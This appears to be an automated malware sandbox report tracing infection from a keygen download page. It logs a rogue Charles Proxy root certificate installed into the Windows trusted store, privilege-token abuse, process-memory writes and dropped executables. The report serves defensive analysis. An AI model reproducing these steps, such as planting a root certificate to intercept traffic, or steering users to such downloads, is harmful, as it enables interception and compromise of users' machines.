e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e keygen-step-2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD F2F2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 F2F2.exe -
Runs ping.exe 1 TTPs 4 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEpid process 7144 PING.EXE 5624 PING.EXE 5416 PING.EXE 6736 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exerundll32.exesvchost.exekey.exe6971102.exechrome.exechrome.exeultramediaburner.tmpHuqerijyga.exepid process 1892 chrome.exe 1892 chrome.exe 1824 chrome.exe 1824 chrome.exe 4980 chrome.exe 4980 chrome.exe 4604 chrome.exe 4604 chrome.exe 5524 chrome.exe 5524 chrome.exe 5680 chrome.exe 5680 chrome.exe 5732 chrome.exe 5732 chrome.exe 4840 rundll32.exe 4840 rundll32.exe 1688 svchost.exe 1688 svchost.exe 4012 key.exe 4012 key.exe 5544 6971102.exe 5544 6971102.exe 5544 6971102.exe 1688 svchost.exe 1688 svchost.exe 4488 chrome.exe 4488 chrome.exe 6036 chrome.exe 6036 chrome.exe 2100 ultramediaburner.tmp 2100 ultramediaburner.tmp 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe 4180 Huqerijyga.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 1392 -
Suspicious behavior: LoadsDriver 3 IoCs
Processes:
OcAnMQpid process 428 OcAnMQ 428 OcAnMQ 428 OcAnMQ -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
MicrosoftEdgeCP.exetoolspab1.exesvchost.exetoolspab1.exeexplorer.exeexplorer.exeexplorer.exepid process 3500 MicrosoftEdgeCP.exe 3500 MicrosoftEdgeCP.exe 3500 MicrosoftEdgeCP.exe 5900 toolspab1.exe 6652 svchost.exe 7004 toolspab1.exe 7004 toolspab1.exe 7004 toolspab1.exe 1392 1392 1392 1392 1392 1392 1392 1392 1392 1392 6128 explorer.exe 6128 explorer.exe 1392 1392 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 6128 explorer.exe 1392 1392 1392 1392 1392 1392 1392 1392 7816 explorer.exe 7816 explorer.exe 7816 explorer.exe 7816 explorer.exe 1392 1392 7816 explorer.exe 7816 explorer.exe 7816 explorer.exe 7816 explorer.exe 1392 1392 7264 explorer.exe 7264 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
rundll32.exesvchost.exeJoSetp.exesvchost.exedescription pid process Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeTcbPrivilege 1688 svchost.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4840 rundll32.exe Token: SeDebugPrivilege 4756 JoSetp.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe -
Suspicious use of FindShellTrayWindow 18 IoCs
Processes:
chrome.exechrome.exeultramediaburner.tmpirecord.tmpchrome.exepid process 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 1824 chrome.exe 6036 chrome.exe 6036 chrome.exe 2100 ultramediaburner.tmp 4252 irecord.tmp 5588 chrome.exe 5588 chrome.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
Free.exeMicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exeMicrosoftEdge.exegoogle-game.exetoolspab1.exe98D1.exe9C1E.exepid process 4552 Free.exe 4552 Free.exe 4844 MicrosoftEdge.exe 3500 MicrosoftEdgeCP.exe 3500 MicrosoftEdgeCP.exe 5976 google-game.exe 5976 google-game.exe 6416 MicrosoftEdge.exe 4384 google-game.exe 4384 google-game.exe 7004 toolspab1.exe 7004 toolspab1.exe 7084 98D1.exe 5732 9C1E.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
pid process 1392 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrome.exedescription pid process target process PID 1824 wrote to memory of 3100 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 3100 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1772 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1892 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 1892 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe PID 1824 wrote to memory of 2352 1824 chrome.exe chrome.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/8550ceeb125094q2480.html1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffc1b424f50,0x7ffc1b424f60,0x7ffc1b424f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1468 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1740 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2172 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2764 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2772 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4860 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5200 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5368 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5500 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5272 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5492 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6128 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6252 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6396 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x240,0x244,0x248,0x23c,0x24c,0x7ff64aaca890,0x7ff64aaca8a0,0x7ff64aaca8b03⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6140 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6604 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6592 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6612 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6596 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5400 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6560 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6556 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6564 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5236 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6128 /prefetch:82⤵
-
